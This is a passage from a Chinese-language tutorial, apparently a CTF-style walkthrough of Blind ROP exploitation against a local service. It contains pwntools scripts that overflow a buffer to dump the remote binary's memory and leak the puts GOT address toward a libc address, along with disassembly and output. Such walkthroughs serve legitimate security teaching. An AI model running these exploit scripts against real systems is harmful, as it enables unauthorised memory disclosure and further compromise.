<p>这里让 puts 打印出 0x400000 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 \x7fELF，方便进行验证。</p>
<pre><code>[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts@plt address: 0x400567
[*] Closed connection to 127.0.0.1 port 4000
</code></pre>
<p>成功找到一个地址，它确实调用 puts，打印出了 \x7fELF，那它真的就是 puts@plt 的地址吗，不一定，看一下呗，反正我们有二进制文件。</p>
<pre><code>gdb-peda$ x/3i 0x400570
0x400570 &lt;puts@plt&gt;: jmp QWORD PTR [rip+0x200aa2] # 0x601018
0x400576 &lt;puts@plt+6&gt;: push 0x0
0x40057b &lt;puts@plt+11&gt;: jmp 0x400560
</code></pre>
<p>这是由于上边的payload虽然执行puts，找出了ELF，但是puts上还有其他指令，但由于没有影响到程序运行，所以执行成功，所以打印出了不太准确的puts地址</p>
<h5 id="remote-dump"><a class="header" href="#remote-dump">remote dump</a></h5>
<p>有了 puts，有了 gadget，就可以着手 dump 程序了：</p>
<pre><code>from pwn import *
def dump_memory(buf_size, stop_addr, puts_plt, start_addr, end_addr):
pop_rdi = 0x4007c3 # pop rdi; ret
result = ""
while start_addr &lt; end_addr:
# print result.encode('hex')
sleep(0.1)
payload = "A" * buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --&gt; %s" % (start_addr, (data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
with open("code.bin", "wb") as f:
f.write(result)
f.close()
return result
dump_memory(72, 0x400565, 0x400570, 0x400000, 0x401000)
</code></pre>
<p>使用r2打开这个文件</p>
<pre><code>r2 -B 0x400000 code.bin
-- In visual mode press 'c' to toggle the cursor mode. Use tab to navigate
[0x004005d0]&gt; pd 14 @ 0x400567
:::: 0x00400567 25a40a2000 and eax, 0x200aa4
:::: 0x0040056c 0f1f4000 nop dword [rax]
:::: 0x00400570 ff25a20a2000 jmp qword [reloc.puts] ; [0x601018:8]=0
:::: 0x00400576 6800000000 push 0
`====&lt; 0x0040057b e9e0ffffff jmp 0x400560
::: 0x00400580 ff259a0a2000 jmp qword [reloc.setbuf] ; [0x601020:8]=0
::: 0x00400586 6801000000 push 1 ; 1
`===&lt; 0x0040058b e9d0ffffff jmp 0x400560
:: 0x00400590 ff25920a2000 jmp qword [reloc.read] ; [0x601028:8]=0
:: 0x00400596 6802000000 push 2 ; 2
`==&lt; 0x0040059b e9c0ffffff jmp 0x400560
: 0x004005a0 ff258a0a2000 jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
: 0x004005a6 6803000000 push 3 ; 3
`=&lt; 0x004005ab e9b0ffffff jmp 0x400560
[0x004005d0]&gt; pd 14 @ 0x400570
:::: 0x00400570 ff25a20a2000 jmp qword [reloc.puts] ; [0x601018:8]=0
:::: 0x00400576 6800000000 push 0
`====&lt; 0x0040057b e9e0ffffff jmp 0x400560
::: 0x00400580 ff259a0a2000 jmp qword [reloc.setbuf] ; [0x601020:8]=0
::: 0x00400586 6801000000 push 1 ; 1
`===&lt; 0x0040058b e9d0ffffff jmp 0x400560
:: 0x00400590 ff25920a2000 jmp qword [reloc.read] ; [0x601028:8]=0
:: 0x00400596 6802000000 push 2 ; 2
`==&lt; 0x0040059b e9c0ffffff jmp 0x400560
: 0x004005a0 ff258a0a2000 jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
: 0x004005a6 6803000000 push 3 ; 3
`=&lt; 0x004005ab e9b0ffffff jmp 0x400560
0x004005b0 ff25820a2000 jmp qword [reloc.strcmp] ; [0x601038:8]=0
0x004005b6 6804000000 push 4 ; 4
</code></pre>
<p>于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。
查找puts中got的地址</p>
<pre><code>from pwn import *
def get_puts_addr(buf_size, stop_addr, puts_plt, puts_got):
pop_rdi = 0x4007c3
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 4000)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
get_puts_addr(72, 0x400565, 0x400570, 0x601018)
</code></pre>
<p>结果</p>
<pre><code>[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts address: 0x7ffff7a7d660
[*] Closed connection to 127.0.0.1 port 4000
</code></pre>
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